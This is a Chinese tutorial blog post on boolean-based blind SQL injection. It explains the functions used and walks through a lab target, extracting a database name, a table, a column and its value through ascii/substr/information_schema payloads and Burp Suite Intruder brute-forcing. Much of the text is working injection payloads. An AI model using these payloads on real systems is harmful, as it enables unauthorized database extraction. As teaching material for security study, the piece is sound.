当前位置:   article > 正文

布尔盲注(一)_布尔盲注(一)

布尔盲注(一)

盲注介绍:

注入攻击的本质,是把用户输入的数据当成代码执行。

这里有2个关键条件:
第一个是用户能够控制输入
第二个是原本程序要执行的代码,拼接了用户输入的数据。

盲注所对应的是显错注入,显错注入我们之前讲过,但是很多时候,
web服务器关闭了错误回显,这时候就没有办法实行SQL注入了吗?
在这里插入图片描述

2.常用函数

在这里插入图片描述
length()长度函数
在这里插入图片描述
substr()截取字符串
1表示截取开始的位置,3表示截取的长度。
在这里插入图片描述
ascii()返回字符的ascii码
在这里插入图片描述
sleep()延迟函数
在这里插入图片描述
if(expr1,expr2,expr3)判断函数,有点类似于三元运算
在这里插入图片描述

3、原理

既然我们知道了布尔盲注只会返回对或错2种结果,
and 1=1 页面正常,and 1=2 没有信息
在这里插入图片描述
那么我就可以使用上面5种函数来得到我们想要的信息

1,因为得到的信息有限,所以可以使用的函数也有限。
像之前使用database()函数直接得到数据库名,
在这里就只能得到对或者错的信息,就不能得到准确的信息了。

比如 输入对的数据库名
and database()=‘kanwolongxia’
在这里插入图片描述
因为盲注不能直接用database()函数得到数据库名,而是先要判断数据库名的长度是多少
and length(database())>11 回显正常
and length(database())>12 回显错误,那就表明,数据库名是等于12个字符。
在这里插入图片描述
确定了数据库名有多少个字符组成,那么现在就来猜这些字符。
由于猜的数据必须是对的,才会回显正常。但是把数据库名字的字符一起猜显然是非常困难的,
那我们就换一种方式。一个字符一个字符的才猜,
用我们之前介绍的截断函数(substr)来一个字符一个字符的来猜。

还是先做个小列子。

可以看到有一个叫 ak 的数据库
在这里插入图片描述
我们用截断函数来猜他的名字
前面个 1 表示截取开始的位置,后面个 1 表示截取的长度。
回显为 1 说明我们猜对了。
在这里插入图片描述
同理,我们也可以用这种方法来实战一下
and substr(database(),1,1)=‘k’
回显正确,说明我们的数据库名的第一个字符,猜对了。

以此类推。我们把这12个字符全部猜完,

就知道完整的数据库名了。

最后得到数据库名 kanwolongxia

在这里插入图片描述

这种方法看起来很简单,一个字符一个字符的去猜,但还是很费劲。

为了方便,我们就要用到上面5种函数当中的,ASCII码函数。
可以看到每个字符都有对应的ASCII码
将字符转为ASCII码,然后进行ASCII码猜测

在这里插入图片描述
从上图中我们可以看到 k 对应的ASCII码是 107
and ascii(substr(database(),1,1))>106 回显正常
and ascii(substr(database(),1,1))>107 回显失败说明这里的ASCII码是等于107,那么对应的字符就是 k
在这里插入图片描述
然后再试着猜第二个字符。(只需要把起始位置改一下就行,这里改成了第2个位置)
and ascii(substr(database(),2,1))>96 回显正常
and ascii(substr(database(),2,1))>97 回显失败说明这里的ASCII码是等于97,那么对应的字符就是 a

以此类推。我们把这12个字符全部猜完

在这里插入图片描述

二、数据库名猜出来之后,我们来猜表名

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>107

select table_name from information_schema.tables where table_schema=database()

这条查询语句查询出来可能会查询出多个表(多个字符串),

但是substr函数只能处理一个字符串,

所有我们要在后面加上 limit 函数,限制只能输出一个表(一个字符串)

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>107

回显正常

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>108

回显失败说明这里的ASCII码是等于108,那么对应的字符就是 英文字母 l

以此类推。我们把表所有字符全部猜完,(只需要把起始位置改一下就行,这里改成了第2个位置)

就知道完整的表名了。

最后得到表名 loflag

(其实聪明的你,已经知道是猜表名的字段数,再猜字符)上面有相同的列子,我就跳过猜字段数,直接猜表名的字符。

在这里插入图片描述
之后后面的东西就是猜,字段名。然后猜字段值。这里我就不多赘述了。可以依照猜表名的方式来做这最后2步。

方法二

这里我用更简单的方法来做,没错,用工具来做(滑稽)
这里可以用burpsuite
先写好注入语句,
然后抓包,放入爆破模块。清除替换位置,然后重新选择替换位置,很显然,我们是要替换我们注入数据的数据
and ascii(substr(database(),1,1))>106
在这里插入图片描述
在这里插入图片描述
因为我们要替换的是数字,那么palyloads就选number
为了以防万一,其实起始位置应该为 0 的
在这里插入图片描述
查看所有数据包的长度。找到唯一不同的一条数据包,然后查看到数字是107,

对应ASCII码是 k

在这里插入图片描述
以此类推,我们只需要把字符的位置换了就可以爆破出所有数据库名的字符了

进阶

既然我们已经会使用工具来注入了,但是要手动替换字符的位置,还是有点麻烦,
既然如此,那我们就2个地方一起替换,然后爆破。
and ascii(substr(database(),1,1))>106
选择最后一个
在这里插入图片描述
第一个爆破是数据库字符的位置,第二个爆破点是字符的ASCII码的值
and ascii(substr(database(),1,1))>106
在这里插入图片描述
设置每个爆破点的参数。
在这里插入图片描述
在这里插入图片描述
查看到第一个字符位置的字符值是107,对应的ASCII码就是 k
在这里插入图片描述
第一个字符我们看了,再把剩下的11个看完。然后拼接起来

最后得到数据库名 kanwolongxia

同理,跑表名的字符值也是一样,只需要把注入语句换一下。

先确定表名的字符有几个
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1
回显正常
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6
回显失败说明这里的长度是等于6 表名的字符有6个
在这里插入图片描述
爆破表名每个字符位置的字符值
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>107

在这里插入图片描述
设置每个爆破点的参数。
在这里插入图片描述
在这里插入图片描述
查看到长度不一样,看下数据包,果然显示正常。
我们看到第3个字符的ASCII码数字是102,对应ASCII码字符是 f
在这里插入图片描述
第3个字符我们看了,再把剩下的5个看完。然后拼接起来

最后得到表名 loflag

同理,跑字段名的字符值也是一样,只需要把注入语句换一下。

################## 注意 ######## 注意 ######### 注意 ############### 注意 ###################
########## 注意 ############ 注意 ################## 注意 ################## 注意 ##########
############# 注意 ######### 注意 ################## 注意 ####### 注意 ######
########### 注意 ###################### 注意 ###################### 注意 #################
############# 注意 ######### 注意 ################# 注意 ############# 注意 #############
######## 注意 ############### 注意 ################## 注意 ############ 注意 ################—

注意

这里我们用了limit函数,所以一次只能输出一个字段名,但是我们不知 道到底有几个字段名,就要自己去试(修改limit的坐标位置)

####################################################################### 注意 ##################
########### 注意 ########## 注意 ####### 注意 ############## 注意 ########## 注意 ###############
######### 注意 ###### 注意 ##### 注意 ######## 注意 ######### 注意 #### 注意 #######################
############## 注意 ############## 注意 ################ 注意 ######### 注意 ##### 注意 ######
############################################################################################
######## 注意 ############ 注意 ########## 注意 ######## 注意 ###### 注意 ###### 注意 ##########
先确定字段名的字符有几个
and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘loflag’ limit 0,1))>1
回显正常
and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘loflag’ limit 0,1))>2
回显失败说明这里的长度是等于2 字段名名的字符有2个
在这里插入图片描述
爆破字段名每个字符位置的字符值
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘loflag’ limit 0,1),1,1))>1
在这里插入图片描述
设置每个爆破点的参数。
在这里插入图片描述
在这里插入图片描述
查看到长度不一样,看下数据包,果然显示正常。
我们看到第1个字符的ASCII码是73,对应字符是大写的 I
在这里插入图片描述
第1个字符我们看了,再把剩下的1个看完。然后拼接起来

最后得到字段名 Id

同理,跑字段名的字符值也是一样,只需要把注入语句换一下。
先确定字段名内容的字符有几个
and length((select Id from loflag limit 0,1))=1 返回正常
and length((select Id from loflag limit 0,1))>1 回显失败说明这里的长度是等于1 表名的字符有1个
在这里插入图片描述
这个字段名很明显的告诉我们,是纯数字
and length((select Id from loflag limit 0,1))=1 回显正确
and length((select Id from loflag limit 0,1))>1 说明字段内容为1
在这里插入图片描述

当然这里我只是做了个列子,实际比这个还要多,但是思路是一样的。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/139345
推荐阅读
相关标签
  

闽ICP备14008679号